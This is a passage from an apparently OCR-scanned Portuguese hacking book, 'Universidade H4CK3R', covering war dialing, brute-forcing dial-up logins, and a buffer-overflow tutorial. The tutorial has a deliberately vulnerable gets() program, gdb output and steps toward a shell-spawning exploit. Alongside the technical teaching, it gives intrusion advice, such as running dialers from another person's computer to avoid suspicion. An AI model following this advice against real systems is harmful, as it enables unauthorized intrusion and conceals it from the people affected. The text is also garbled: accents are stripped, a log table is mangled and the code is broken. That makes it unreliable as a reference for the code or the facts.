Contra-atacar nesses casos, embora possvel (pois um kiddie ruidoso ficaria nos logs, e mesmo hackers experientes cometem deslizes), no seria justificvel. Neste ponto, apesar de perigosamente no limiar, o hacker ainda no ultrapassou a barreira da legalidade. Verifique sempre seus logs e use possveis scans e ataques como avisos para atualizar seus sistemas.

12451

] Ataque, defesa

e contra-ataque:

Busca

Invaso
''Abordar navios mercantes invadir, pilhar, tomar o que nosso!...! Preparar a nossa invaso

Ataque, defesa e contra-ataque:

E fazer justia com as proprias mos. "I RPM, "Rdio Pirata"

1. Do

albuIn Revolues

por Ininuto.

de 198/>'

I Universidade H4CK3R I

"Por que o cachorro entrou na igreja"? Ante essa pergunta capiciosa, a maioria das pessoas, depois de "raciocinar" um pouco, disparam respostas das mais estapafrdias e incongruentes que o ser humano pode ser capaz de conceber. "Poque o padre chamou". "Porque os anjos o conduziram para a plenitude espiritual". "Porque ouviu um chamado de Al para destruir o templo de idolatria dos infiis". "Porque quis". "Porque sim". "Porque havia quermesse e ele sentiu cheiro de lingia". "Porque estava no colo da dona". "Ah, vai te cat, mano"! Mas a resposta correta a mais simples e lgica de todas. O cachorro entrou na igreja porque a porta estava aberta. A partir deste ponto ultrapassamos os limites. A legislao brasileira no reconhece o acesso a sistemas que estejam abertos Internet como invaso, da mesma forma como entrar num shopping center tambm no invaso: as portas esto abertas para tal. Pela lei norte-americana, entretanto, esse tipo de invaso (de sistemas e de shopping centers) j considerado invaso de propriedade. Se voc no bem vindo em um sistema, pode ser processado se entrar. Se no bem vindo em um shopping center, tambm pode! Houve pelo menos um caso, divulgado pela imprensa, de um cidado americano processado por invaso de propriedade por estar na rea pblica de um shopping. Explico: ele estava com uma camiseta pacifista (a frase exata era "Give peace a chance", de JoOO Lennon) e a segurana do shopping solicitou que ele retirasse a camiseta ou deixasse o prdio. Como recusou-se a ambas as coisas, foi preso e processado. Home of the free... Cuidado, portanto, quando invadir sistemas geograficamente instalados l ou pertencentes a empresas daquele pas. Voc ser processado pelas leis de l, e provvel que seja extraditado. Hackerismo = Terrorismo = Priso Perptua... J deu pra notar, n?

A invaso em etapas
Assim como dividimos nosso ataque em seis passos diferentes, o passo quatro - invaso - pode ser dividido em duas etapas. A primeira etapa o acesso a um host da rede. Como vimos nos captulos de redes, as redes internas das empresas normalmente no utilizam nmeros IP roteveis pela Internet. Portanto, temos que invadir primeiramente um computador limtrofe que possua duas interfaces de rede e, portanto, atenda a ambas. Normalmente o prprio ftrewall, ou um proxy, mas possvel que falhas de configurao ou mesmo descuido possam escancarar outros sistemas. Para a primeira etapa, um nmero limitado de tcnicas pode se empregado. Entre eles, a procura por modems aceitando conexes externas (war dialing) e a explorao de falhas especficas atravs de exploits. Observe que nenhum sistema em especial visado. Os crackers podem apontar suas miras tanto em servidores como em estaes de trabalho e mesmo em componentes de rack como roteadores e afins!

12481
Ataque, defesae contra-ataque: Invaso [

Universidade 3ano

A segunda etapa mais trabalhosa que difcil. Uma vez conseguido o acesso rede interna, passa-se invaso sistemtica dos computadores dentro da rede. Essa etapa pressupe quebra de senhas e acesso a reas restritas mesmo para quem est dentro. Dizemos que trabalhosa porque, uma vez dentro, cada um dos sistemas autnomos disponveis para os usurios internos requer toda aquela metodologia que vimos: Planejamento, Observao, Busca, Invaso, Manuteno e Evaso. E no esquea: vrios microataques 1-2-1-3-1-4-1-5-1-6-1... Sempre corrija e ajuste seu planos! As coisas mudam, os dados mudam, o administrador muda e voc sempre tem informaes novas. Se quer sucesso, organize-se! E,se voc for um lammer,no tem o que fazer por aqui, j que voc no quer saber de aprender nada.V brincar com os exploits publicados e deixe os profissionais trabalharem!

War Dialing + Brute Force


Redes bem configuradas permitem acesso a elas apenas por pontos bem especficos e controladssimos, normalmente uma nica conexo com a Internet. Empresas muito grandes possuem vrios links, mas todos eles so (ou deveriam ser) controlados e monitorados com rigor. Entretanto, alguns funcionrios "espertos" tentam driblar a lentido ou os controles de acesso a sites no-autorizados com conexes discadas ou ADSLligados diretamente a suas estaes. Esses funcionrios no tm noo do perigo real representado por essa prtica: tais conexes so totalmente desprotegidas, e uma vez com acesso a essas conexes, o hacker j est dentro da rede, e pode queimar diversas etapas de sua invaso. Em outras ocasies, a prpria empresa precisa proporcionar acesso discado a seus funcionrios viajantes, ou aos que trabalham em casa. Para tanto, possuem uma bateria de modems e dezenas de nmeros de telefone disponveis para receber chamadas e conexes. Um prato cheio para hackers! Sim, sim, no ia deixar de comentar que o termo War Dialing foi cunhado no filme War Games de 1983 em que Matthew Broderick discava para todos os nmeros que ele conseguia atrs de modems livres. Mas isso provavelmente voc j sabe. Se no, v at sua locadora e pea o filme Jogos de Guerra. Se no um filme excelente, pelo menos as referncias tecnolgicas esto corretas dentro, claro, dos limites da preciso hollywoodiana. Mais informaes podem ser encontradas em orbita.starmedia.com/-necrose/Sci-Fi/Filmesl wargames.htm, www.movieprop.com/tvandmovie/reviews/wargames.htm e jbonline. terra. com. br Ijb/papel/cadernos/internet/200 11081 151 jorinf20010815003.html.

Conhea suas armas


War dialing guerra. Se voc um soldado, vai guerra e no leva sua espada, est frito! As ferramentas usadas pelos war dialers so chamadas, normalmente de... war dialers. Uma busca no Google traria diversos sites com essas

12491

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

ferramentas, a maioria gratuitas e muitas delas com cdigo fonte aberto e livre. Mas, em uma excepcional colher de ch, a vai um link com algumas delas: neworder. box. sk/box. php::)? gfx=neworder&prj =neworder&key =wardil&txt= Wardia1ers. Recomendamos epecialmente, entre eles, o THC Scan (www.thc.org). a ferramenta n 1 de War Dialing hoje em dia. Foi desenvolvida para DOS, mas pode ser usada em Unix com emuladores, como o Dosemu. Se voc quer dar uma olhada em como as coisas comearam, procure por Demon Dia1er e pelo ToneLoc. So ferramentas parecidas com as que os Phreakers usavam na poca do ftlme de Broderick, incluindo o prprio mockup da cena. Para Unix, alm do excelente THC Scan + Dosemu h alguns nativos como o WARD, cuja descrio est no endereo www.securiteam.com/tools/ 6TOOOIP5QM.html e pode ser baixado e www.Oxdeadbeef.info/code/ward.c; ou prolas como o Jericho e o ShockDial, ambos encontrveis em www.securityfocus.com/tools/ category /26. H tambm muitos war dialers comerciais, destinados a permitir que empresas testem suas instalaes procura de modems perdidos. Uma das mais completas o Phone Sweep (www.sandstorm.net).Alm da excelncia do software, a empresa promete consultoria e suporte por assinatura (com pagamento mensal).

EI

1'1.11*
2001-07-2003:25 2001-07-2019:51 2001-07-20 20 52 2001-07-2021 :40 2001-07-2022:26

8USY 8USY 8USY BUSY BUSY

Unknown Unknown Unknown Unknown Unknown

$
~} $ $

~1001

1'1.11* 2001-07-1822:13 2001-07-1822:15

NOJACSIMILEUnknown Unknown CARRIER VOICE Unknown

~1002 1iil1003 ~1004

1'1.11* 2001-07-1823:42 1'1.11*

1'1"" 2001-07-1901:42 TIMEOUT Unknown 1'1.11* 1'1.11* 2001-07-1922:08 1'1.11* 1'1.11* n 1'1 VOICE Unknown

$ $
[tI[tI-

_1005 ~1006

250

I
Invaso

Ataque, defesa e contra-ataque:

Universidade 3ano

Uma lista de equipamentos reconhecidamente vulnerveis e detectveis pelo Phone Sweep podem ser encontrados em www.sandstorm.net/products/ phonesweep//sysids.shtml. Outra opo o TeleSweep, da Securelogic. Mais informaes em telesweepsecure .securelogix.com. Nossa recomendao: baixe, instale e brinque com, pelo menos, as ferramentas gratuitas listadas aqui. Voc vai descobrir que, nesta poca de ADSLe Cable Modem, ainda existem MUITOSmodems discados recebendo chamadas por a, especialmente em empresas. Outra dica: voc pode usar os discadores dos provedores de acesso como War Dialers improvisados!!! A maioria deles possuem um arquivo externo com a lista de nmeros de telefone de conexo. Basta substituir essa lista por uma especialmente criada, e voc ter um war dialer instantneo, inclusive com rediscagem automtica e varredura de todos os nmeros da lista. Baixe os discadores de todos os provedores que voc se lembrar e verifique. Esta dica muito til quando se est usando um computador laranja como discador e no se quer levantar suspeitas com programas especializados. Um THC Scan levantaria suspeitas no computador do seu tio, mas o discador do iG (ou do Terra, do iBest, do UOL ou da AOL...) passaria despercebido, ainda mais se o seu tio for assinante de um desses provedores.

Ah, a fora bruta to linda...


Certo, voc descobriu nmeros de telefone que possuem modems atendendo a chamados externos. Mas e agora, o qu fazer com eles? Entra agora em cena outro tipo de war dialer que, ao invs de varrer nmeros atrs de modems, faz inmeras tentativas de login em um mesmo nmero. Se em outros tipos de controle de acesso por login e senha possvel encontrar outros meios de entrada alm do brute-force, com modems a coisa diferente. Voc no tem qualquer outra informao alm do prompt do sistema pedindo um usurio vlido. Sua nica sada usar um programa de fora bruta para tentar entrar. Logicamente, usar suas listas de palavras (que vimos nos captulos sobre vulnerabilidades) e saber o nome de algum usurio ajuda muito aqui.Ateno lammers! Usar SQLinjection em modems a demonstrao de burrice mais enfadonha que voc poderia cometer. No que faa algum mal, mas mostra claramente que voc no entende nada de nada, mesmo... V brincar de carrinho ou de boneca! Se voc usou o THC Scan, um bom companheiro para ele o THC Login Hacker. Baixe-o e veja como fcil entrar, quando se encontra um modem "compreensivo". No site oficial h diversos programas, exploits e brute-forcers para muitos protocolos, incluindo 5MB, HTTP, FTP e Proxy. Verifique em www.thc.org/releases. php. A propsito, THC acrnimo para The Hackers Choice... Apesar da arrogn1251

IAtaque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R

cia e presuno do ttulo auto-outorgado, as ferramentas so realmente muito boas. No site ainda encontramos diversos whitepapers sobre invaso e segurana dignos de leitura.

Entendendo o estouro de pilha (buffer overflowJ


Vrios exploits valem-se dos chamados buffer overflows para conseguir um shell nos sistemas vulnerveis a eles. Os script kiddies aplicam pesadamente tais exploits em suas presas sem saber exatamente o que so e como funcionam. Como queremos ter mais do que noes, na verdade, um entendimento completo de como essas ferramentas operam, teremos que escovar um pouco mais de bits, dessa vez olhando atentamente o cdigo dos aplicativos. No preciso dizer que ser necessrio desenferrujar seus conhecimentos de linguagens de programao, mas nada de outro planeta. Como o nome estouro de pilha, obviamente h uma pilha a ser estourada (d!). Para entender como o estouro funciona, devemos, primeiramente, conceituar o que seria essa tal de pilha.

Um amontoado de coisas...
A palavra portuguesa pilha nos traz cabea duas imagens: 1. Uma pilha de pedras, de pratos, de moedas, de corpos no filme do Stallone... 2. Uma clula de energia eltrica usada em lanternas portteis e brinquedos. Peguemos a primeira imagem. Uma pilha de moedas, por exemplo, daquelas que o Tio Patinhas tem em cima de sua escrivaninha na caixa-forte. O adorvel po-duro de Patpolis arruma diligentemente suas moedinhas, uma sobre a outra. Com isso, quando vai guard-Ias na caixa-forte o bom varo retira cuidadosamente a primeira moeda e a pe no saco de dinheiro, depois a segunda, depois a terceira... Observe um detalhe: a primeira moeda a ser retirada foi a ultima a ser colocada. No exemplo da pilha de pedras, Fred Flintstone usando seu tratorossauro recolhe pedras retiradas da encosta e as empilha no local indicado pelo Sr. Pedregulho Slate, seu chefe. Note que, nesse caso, as pedras que Fred pega primeiro so as que vo ficar por baixo da pilha. Mas talvez o melhor exemplo (e mais til) seja mesmo o da pilha de pratos. Podemos inclusive usar um exemplo de pilhas recursivas. Quando os pratos esto sujos na mesa e a loua do dia sua (...), voc recolhe-os e os empilha nas mos ou em uma bandeja. Observe: o ltimo prato que voc pegou fica no topo da pilha. Quando chega cozinha, faz o caminho inverso. Como no d pra colocar a pilha toda de uma vez, voc pega prato por prato e os empilha novamente, desta vez na pia. medida que os vai lavando, voc os empilha pela terceira vez (agora j limpos) do outro 1252

I
Invaso r

Ataque, defesa e contra-ataque:

Universidade 3ano

lado da cuba, e novamente o que era ltimo ficou primeiro. Para guard-Ios no armrio... , acho que voc j entendeu. E as pilhas de lanterna? Elas no tm muito haver com o papo agora. S por curiosidade, o nome "pilha" dado a esse elemento gerador de energia porque as primeiras clulas quimio-eltricas eram, er, bem, diversos discos de metais diferentes (parecidos com moedas, s vezes moedas mesmo!) alternados entre si e mergulhados em uma soluo cida ou salgada. Pensando bem, at tem haver...

As piLhasno reino digitaL


E o que tm os computadores com isso? Pegando emprestado a noo de pilhas, os programas em geral (e os sistemas operacionais em particular) podem pegar fragmentos de dados e os guardar em reas de memria chamadas pilhas ou stacks. uma maneira fcil de armazenar pequenos dados, pois num acessso convencional de memria o programa obrigado a: 1. Defmir a posio de memria onde o dado ser guardado; 2. Defmir o tamanho em bytes que o dado ter; 3. Reservar esse tamanho em bytes na posio defmida; 4. Mandar o dado para essa posio; 5. Bloquear a posio para que no seja sobreescrita. Para recuperar o dado, o programa ter que: 1. Lembrar a posio de memria onde o dado est; 2. Apontar para aquela posio; 3. Lembrar o tamanho dos dados em bytes; 4. Puxar esses bytes daquela posio de memria; 5. Liberar a posio para uso futuro. No caso da pilha, no h necessidade de nada disso. O programa pode simplesmente: 1. Mandar dados para a pilha (push). Na hora de recuper-Ios, basta: 1. Puxar dados da pilha (pop). claro, como um acesso seqencial e no aleatrio, caso queiramos usar o segundo dado da pilha antes teremos que retirar o primeiro dado. Isso traz dificuldades adicionais para o programa, que tem que "dar um jeito" de gerenciar os dados da pilha corretamente. Mas h aplicaes onde essa abordagem a melhor. Por exemplo, imagine que queiramos fazer um programinha que faa uma soma de trs valores. A forma mais simples desse programa seria: 1. Chama funo soma(a,b);

1253 I

] Ataque,

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

2. 3. 4. 5. 6. 7. 8.

Obtm primeiro nmero e o entrega funo soma; Obtm o segundo nmero e o entrega funo soma; Coloca o resultado na pilha; Chama funo soma(a,b); Obtm terceiro nmero e o entrega funo soma; "Puxa" o topo da pilha e entrega funo soma; Soma(a,b) faz a operao e joga o resultado na sada.

Observe que o resultado da primeira soma ficou armazenado na pilha, esperando ser chamado de volta ao fluxo normal do programa. Uma soluo como essa envolvendo posies de memria demandaria funes para reservar memria para trs variveis, envio e recuperao triplicada de dados e possivelmente uma funo soma mais complexa. Esse exemplo foi didtico, mas longe do ideal. Vamos ver um pequeno programa em C. Deve rodar de forma idntica em qualquer plataforma, pois no usa bibliotecas especficas.
void funcao_idiota (void)
char xuxu[5]; gets (xuxu); );

printf(ll%s\nll, xuxu

main()
funcao_idiota() return o; ;

No se preocupe, voc no precisar ter visto um programa C alguma vez na vida para entender este aqui. Veja s: qualquer linguagem estruturada que se preze permite que voc crie, com os comandos bsicos que ela possui, funes mais complexas para serem usadas pelo programa principal. Em nosso exemplo (e em qualquer cdigo C), o programa principal "marcado" pela funo main( ). Dentro das chaves { e } temos o programa completo, composto por duas outras funes:
main()
funcao_idiota() return o; ;

12541
Ataque, defesa e contra-ataque: Invaso r

Universidade 3ano

funcao_idiota( ) chama uma funo criada por ns mesmos, e declarada no incio do programa. J a prxima linha, return O, indica que o programa deve encerrar nessa linha e retornar para o shell que a chamou. Temos que dedararfuncao_idiota() antes dela poder ser usada. Ento, vamos a ela! void funcao_idiota (void) {
char xuxu[5]; gets (xuxu); xuxu );

printf(H%s\nH,

A funo , a grosso modo, uma sub-rotina que pode ser usada vrias vezes
dentro do programa. Em nosso main( ) a usamos apenas uma vez, mas seria possvel, se quisssemos, us-Ia em diversos locais do cdigo. O que essa idiotice faz : 1) criar uma varivel chamada xuxu com um tamanho de 5 bytes; 2) usar a funo gets( ) da linguagem C para pegar caracteres do teclado e joglos na varivel xuxu; 3) usar a funo printf( ) para jogar o resultado na tela. Se voc est em uma mquina Unix, pode compilar o programinha e test-lo. Na maioria dos sitemas, use o comando:
$ cc -o idiota idiota. c

Sendo idiota. c o arquivo texto contendo o cdigo do programa e idiota o arquivo executvel gerado pelo compilador cc. No Linux e no FreeBSD use o gcc em vez do cc. Para rodar o programa, digite:
$ ./idiota

Aparentemente, nada acontecer. Tente digitar um caractere qualquer e pressionar a tecla <Enter>. O caracter ser replicado na tela. s isso o que o programinha faz. Em uma mquina DOS ou Windows, o procedimento parecido. Procure por algum compilador de linha de comando. Se no souber onde procurar, comece com alguns destes. Experimente TODOS e escolha seu preferido! Para DOS podemos indicar: ~ DJGPp,o GCC do DOS: www.delorie.com/djgpp: ~ O venervel Borland Turbo C 2.01 (Autorizado! No pirataria!): community. borland.com/museum ; ~ Pacific C: www.elrincondelc.com/compila/pacific.html ;
Para Windows, existem, entre muitas, as seguintes opes: ~ iCC Win32: www.cs.virginia.edu/-lcc-win32/index.html; ~ DevCPP: www.bloodshed.net/devcpp.html (a escolha dos autores!); Alis, em www.bloodshed.net existem links para compiladores de diversas linguagens! Confira!
1255
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Voltemos ao nosso programa. Quando o main( ) chama funcao_idiota( ), o processamento do programa principal interrompido e desviado para a funo. Quando a funo termina seu processamento, retoma rotina principal. Observe o cdigo novamente, desta vez com o fluxo de processamento indicado por setas:
void funcao_idiota (void)
char xuxu[5]; gets (xuxu); );

printf(il%s\nil, xuxu

Retoma ao programa principal


main( )~ {

return;

Desvio do processamento

Inicio aqui
funcao_idiota() return o; ;

..

Fim!

Bonito, no? Em princpio, funciona. Mas, para interromper o processamento de main( ), neceesrio colocar tudo o que main( ) esteja fazendo em algum lugar, desviar o processamento para funcao_idiota( ), processar o que estiver l e depois retorar a main( ).A1m de devolver os possveis valores da funo chamada (o que no nosso caso - para simplificar no passamos argumentos entre as funes), tambm precisamos ter um meio de saber ONDE na memria estava o processamento de main( ) para que retomemos o processo. Complicado? Tambm achei. Uma ilustrao ajuda bastante!

TOpO da Memria Dados anteriores da pilha

Dados de main ()

Ponteiro de Retorno Ponteiro da Pilha

Dados da funo idiota() (ou seja, a varivel xuxu)

12561
Ataque, defesa e contra-ataque: Invaso
[

Universidade 3ano

Nooofaaaa (Com F mesmo. Lingua presa...) ! Mas no era uma pilha? Porque est de cabea para baixo? Bem, normalmente as pilhas so armazenadas de cima para baixo, sendo o dado mais antigo na posio mais alta de memria e a pilha crescendo em direo posio mais baixa. Pense nela como uma pilha de moedas feita no teto em direo ao cho. Talvez voc tenha que usar cola para prender as moedas, mas ainda assim uma pilha. Como dissemos, os dados de main( ) so jogados na pilha. Note que ela no precisa estar necessariamente vazia, podendo conter, por exemplo, dados do shell ou da janela onde o programa foi chamado. Depois do main( ), tambm guardado no stack um ponteiro, chamado de ponteiro de endereo de retorno ou return address pointer. ele que indica ao processamento onde encontrar a prxima instruo depois do desvio (onde que eu estava mesmo?). Em nosso caso especfico, o return pointer guarda o endereo de memria onde reside a instruo return O. Depois do ponteiro de retorno, o sistema coloca um ponteiro de pilha, que aponta para uma tabela com dados de controle sobre a prpria pilha - que obviamente o leitor compreende ser necessria. Por ltimo, vo os dados temporrios de nossa funo secundria, chamada por main( ). Em nosso caso, a varivel xuxu, criada pela nossa funo funcao_idiota( ). Quando a funo secundria termina seu processamento, os dados dela so retirados da pilha, depois o ponteiro de controle da pilha, depois o ponteiro do endereo de retorno. Quando o processamento retomado na posio original, os dados de main so puxados da pilha e tudo volta a ser como era antes. Ser?

Debug is on the table2


Lembremos de dois detalhes vistos nos pargrafos anteriores. O segundo tenho certeza que foi assimilado pelo leitor apenas como curiosidade, o primeiro deve ter passado despercebido: 1. A varivel xuxu foi declarada como contendo apenas cinco bytes; 2. A pilha armazena dados de baixo para cima. L atrs ns testamos nosso programinha assim: $ ./idiota
a a $

Quando o processamento chegou na funo gets( ), digitamos a letra "a". A funo gets( ) colocou "a" dentro da varivel xuxu, que foi impressa na linha seguinte pelo printf( ). Lembre-se de que xuxu tem um tamanho de apenas cinco bytes. O que acontece se passarmos de cinco?
2. Aula de ingls geek? Essa frase realmente foi dita, durante uma conversa entre eu e o diretor de informtica de uma empresa de aviao. Um estagirio ouviu a palavra debug no meio da conversa e saiuse com esta. At hoje eu e esse diretor de informtica usamos a expresso como piada local.

12571

]Ataque.

defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Bem, tentamos com cinco letras "A:', a sada foi AAAAA. Com seis, AAAAAA. Com sete, AAAAAAA. Com oito, aconteceu algo interessante:
$ ./idiota AAAAAAAA AAAAAAAA

Falha de segmentao (core dumped)

$ Falha de segmentao! O programa falhou e gerou um relatrio de erros com o contedo da memria, gravado no arquivo core. O que ser que aconteceu? Lembremos agora da pilha. O espao para nossa varivel xuxu (que podemos chamar de buffer) era de 5 bytes - ns mesmos definimos isso (char xuxa[5]). Cada caracter ocupa 1 byte, portanto 5 caracteres enche o buffer. Mas o sistema no possui nenhum mecanismo de checagem, ou melhor, a linguagem C no possui. Portanto, se colocarmos mais de 6 caracteres no buffer, haver estouro. Os dados a mais sero escritos por cima de alguma outra coisa (normalmente algo muito importante...). Agora, o segundo detalhe. A pilha armazena de baixo para cima. Portanto, se voc olhar a representao grfica que fizemos dela, vai notar que o sexto caracter vai ser escrito sobre o Ponteiro da Pilha! O ponteiro de pilha possui vrios bytes ( de tamanho varivel) e o de retomo, 4 bytes3 . por isso que, quando escrevemos 6 ou 7 caracteres, nada acontece estamos sobrescrevendo o ponteiro da pilha, em alguma regio que no nos afeta imediatamente. A partir do oitavo caractere temos um problema imediato: estamos sobrescrevendo alguma rea importante do ponteiro de pilha. Se avanarmos mais um pouco, l pelo dcimo-quarto ou dcimo-quinto caracter certamente chegaremos ao ponteiro de retorno!!!!! Agora o primeiro byte do endereo de retomo no ser mais o endereo original, ser o valor hexa do caracter que digitamos! Se for A, por exemplo (ave Aleph1!) o valor hexadecimal ser 41h. Vamos depurar nosso programa usando o gdb, um depurador GNU - para DOS, procure uma ferramenta adequada (como o debug) ou use uma das mquina Linux da nossa rede de testes. Primeiro, vamos rodar nosso programa e gerar um core dump com muitos "A"s: $ ./idiota

Falha de segmentao (core dumped) $ Agora, vamos rodar o gdb e ver o que ele nos diz: $ gdb idiota core GNU gdb 5.1
3. Explicao tcnicaavanada: os ponteiros tm quatro bytes de comprimento, ou 32 bits, o que
equivale a um valor decimal entre O e 4.294.967.295, ou seja, 4 GB.

2581 Ataque,defesa e contra-ataque: Invaso[

Universidade 3ano

Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU ... (corta) (no debugging symbols found)... Core was generated by './idiota'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6... (no debugging symbols found) ...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2.. .done. Loaded symbols for /lib/ld-linux.so.2 #0 Ox41414141 in ?? () (gdb) $

A linha importante, por enquanto, #0 Ox41414141 in ?? (). Ela indica o endereo de retomo. Observe que, em vez do endereo correto, temos nosso caracter A (41h) repetido vrias vezes. Bela maneira de fazer o programa abortar! Nosso programinha termina por ali mesmo, mas faamos um teste: entre as linhas funcao_idiota() e retum O; coloque a seguinte linha printf():
{
funcao_idiota() ; Ponteiro de Retorno!\n\nll); printf(llNao atingiu return O;

Agora compile e rode o programa. Voc ver que, at 11 caracteres, a mensagem fmal mostrada antes do core dump. Com 12 caracteres ou mais, a mensagem perdida: atingimos o ponteiro de retorno! Esse valor, claro, depende do programa, dos dados gravados no stack, do tipo de dados do nosso buffer, etc.

Ganhando acesso por estouro de pilha


S que enfiar um bando de "A"sno buffer no muito til. E se pudssemos executar algum cdigo de mquina (sim, tem que ser cdigo de mquina, afmal o programa est compilado...)? Poderamos executar uma pequena rotina carregada no prprio buffer, que o nico lugar a que temos acesso. Desviar o processamento para o buffer no requer prtica nem habilidade: j temos controle sobre o ponteiro de retomo, basta colocar nele o endereo do buffer em vez da montoeira de "A"s.

I 259 I
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

Note que este procedimento bem parecido com a injeo de SQLque vimos no captulo Vulnerabilidades 11. Usamos um campo acessvel externamente pelo usurio - no caso do SQL, um campo em um formulrio; aqui, uma varivel solicitando dados - e injetamos nele os comandos pertinentes. Falamos em cdigo de mquina, no ? Aqui temos o grande pulo-do-gato dos exploits que se aproveitam do buffer overflow de algum programa mal escrito. Ns queremos ganhar um shell no sistema, e isso depende do sistema operacional. O programa que oferece o shell num Solaris no o mesmo de um MacOS que no o mesmo no Windows... Por outro lado, para chamar esse shell temos que colocar um cdigo de mquina no buffer, o que quer dizer que temos que fazer um exploit para cada dupla SO+Hardware existente. Um exploit para Linux em Alpha no o mesmo que um para Linux em i386 (os PCs comuns). o mesmo sistema operacional, mas no o mesmo processadot. Por outro lado, um PC rodando Windows 2000 vai precisar de um exploit diferente do que um Solaris rodando no mesffissimo Pc. o mesmo processador, mas no o mesmo SO. Mesmo considerando que estamos usando o mesmo programa bugado (por exemplo, o interpretador de PerI de cada um dos SOs) o exploit desse programa vai ser diferente em cada combinao SO+HW Para fms didticos, vamos nos ater ao PC e ao Linux. Vamos "desassemblar" nosso programinha com o gdb:
$ gdb idiota *** mensagens diversas *** (gdb)disass main Dump of assembler code for function main: Ox8048464 <main>: push %ebp Ox8048465 <main+l>: mov %esp,%ebp Ox8048467 <main+3>: sub $Ox8,%esp Ox804846a <main+6>: cal1 Ox8048430 <funcao_idiota> Ox804846f <main+ll>: add $Oxfffffff4,%esp Ox8048472 <main+14>: push $Ox8048520 Ox8048477 <main+19>: cal1 Ox8048334 <printf> Ox804847c <main+24>: add $OxlO,%esp Ox804847f <main+27>: xor %eax,%eax Ox8048483 <main+31> Ox8048481 <main+29>: jmp Ox8048483 <main+31>: leave Ox8048484 <main+32>: ret Ox8048485 <main+33>: lea OxO(%esi,l) ,%esi Ox8048489 <main+37>: lea OxO(%edi,l) ,%edi End of assembler dump. (gdb)

Observe a linha Ox804846a<main+6>:

cal1

Ox8048430 <funcao_idiota>

260

Ataque,

defesa

e contra-ataque:

Invaso

Universidade 3ano

Desenferrujando um pouco nossos conhecimentos de assembler, lembramos que a funo call chama uma outra funo qualquer residente no endereo especificado. Como em linguagem de mquina no d pra atribuir nomes s subrotinas, o sistema tem que saber exatamente onde na memria elas esto. No comeo da listagem, observe que a funo main inicia na posio de memria Ox8048464 e instruo call chama uma subrotina que se encontra em
Ox8048430. Vamos dar agora uma olhada na funo funcao_idiota(
):

(gdb) disass funcao_idiota Durnpof assernblercode for function funcao_idiota: Ox8048430 <funcao_idiota>: push %ebp Ox8048431 <funcao_idiota+l>: rnov %esp,%ebp Ox8048433 <funcao_idiota+3>: sub $Ox18,%esp Ox8048436 <funcao_idiota+6>: add $Oxfffffff4,%esp Ox8048439 <funcao_idiota+9>: lea Oxfffffff8(%ebp) ,%eax Ox804843c <funcao_idiota+12>: push %eax Ox804843d <funcao_idiota+l3>: call Ox8048304 <gets> Ox8048442 <funcao_idiota+18>: add $Oxl0,%esp Ox8048445 <funcao_idiota+2l>: add $Oxfffffff8,%esp Ox8048448 <funcao_idiota+24>: lea Oxfffffff8(%ebp) ,%eax Ox804844b <funcao_idiota+27>: push %eax Ox804844c <funcao_idiota+28>: push $Ox8048500 Ox8048451 <funcao_idiota+33>: calI Ox8048334 <printf> Ox8048456 <funcao_idiota+38>: add $Oxl0,%esp Ox8048459 <funcao_idiota+41>: jrnp Ox8048460 <funcao_idiota+48> Ox804845b <funcao_idiota+43>: nop Ox804845c <funcao_idiota+44>: lea OxO (%esi, 1) , %esi Ox8048460 <funcao_idiota+48>: leave Ox8048461 <funcao_idiota+49>: Ox8048462 <funcao_idiota+50>:
End of assernbler durnp. (gdb)

ret rnov

%esi,%esi

Olha s! O call da funo main() chama exatamente tro da funo idiota, a linha Ox8048461<funcao_idiota+49>: ret

a funcao_idiotaO.

Den-

mostra a instruo assembler de retomo (ret). Essa instruo vai usar o ponteiro de retomo para voltar ao main. Chegamos ao ceme da questo dos exploits por buffer overflow. Trocando em midos, voc precisa: 1. Descobrir uma varivel do tipo buffer que esteja vulnervel; 2. Verificar, no cdigo fonte ou por tentativa e erro, os endereos onde as chamadas de funo esto, bem como o endereo que marca o incio do buffer da varivel;
3.

Fabricar um exploit que insira cdigos de mquina

no buffer, contendo

1261 I
I

Ataque, defesa e contra-ataque:

Invaso

I Universidade

H4CK3R I

instrues para nos dar um shell, e depois "estufe" a pilha at atingir a posio do ponteiro de retorno, l colocando o endereo do incio do buffer. Um exemplo, em Unix, seria uma rotina que, atravs da funo execve( ) chamasse um shell. execve( ) uma chamada de sistema que simplesmente permite executar um arquivo binrio externo ao programa. Que beleza! De dentro de nosso exploit, executamos Ibin/sh !!!O shell executado no usurio do programa vulnervel. Se for, por exemplo, no Apache, ganharemos um shell do usurio nobody. O que hackers mais gostam, nessa hora, so programas vulnerveis rodando com SUID...Mas isso outra histria (v l e pesquise!). No Windows, programas vulnerveis rodando com privilgio System so um perigo! Acesso total mquina. Para explorar um buffer overflow, geralmente faz-se chamadas a funes de DLLs acessveis pela aplicao vulnervel. Dica para estudo de execuo arbitrria de comandos no Windows: WININET.DLLe o prprio MFC.DLL.Novamente, mexa-se... No vamos nos aprofundar mais, pois no est no escopo do livro entrar muito fundo nas entranhas de nenhum assembler. Para comear, um belo texto para iniciantes em buffer overflows (mixter.void.ru/exploit.html). Para saber mais, recomendo a leitura dos whitepapers da Fatal 3rror (struck.8m.com/G), o excelente texto de Dark Spyrit sobre buffer overflows no Windows (community.core-sdi.com/-julianolbufo.html) e o estudo que comeou tudo isso: "Smashing the stack for fun and profit", do lendrio Alephl, lanado na edio 49 da ezine Phrak em 1996 e disponvel online no endereo www.insecure.org/stf/smashstack.txt. Outro white-paper digno de nota: como explorar servios avanados com estouros de pilha, indo muito alm de conseguir um shell.Taeho Oh nos mostra em postech.edu/-ohhara (ou, alternativamente, em ohhara.sarang.net/security/ adv.txt) como furar firewalls baseados em ftltros de pacotes, abrir sockets (e, portanto, backdoors) no prprio exploit e libertar-se da priso do chroot4. Se voc quer realmente conhecer a fundo todos os meandros dos estouros de pilha (nos quais 99% dos exploits existentes so baseados), recomendo, novamente, parar a leitura do livro e estudar os sites indicados. Lembre-se, o Google seu amigo... Desnecessrio dizer que pr-requisito para isso saber alguns fundamentos de C e Assembler. Apesar de alguns dizerem que no, as linguagens 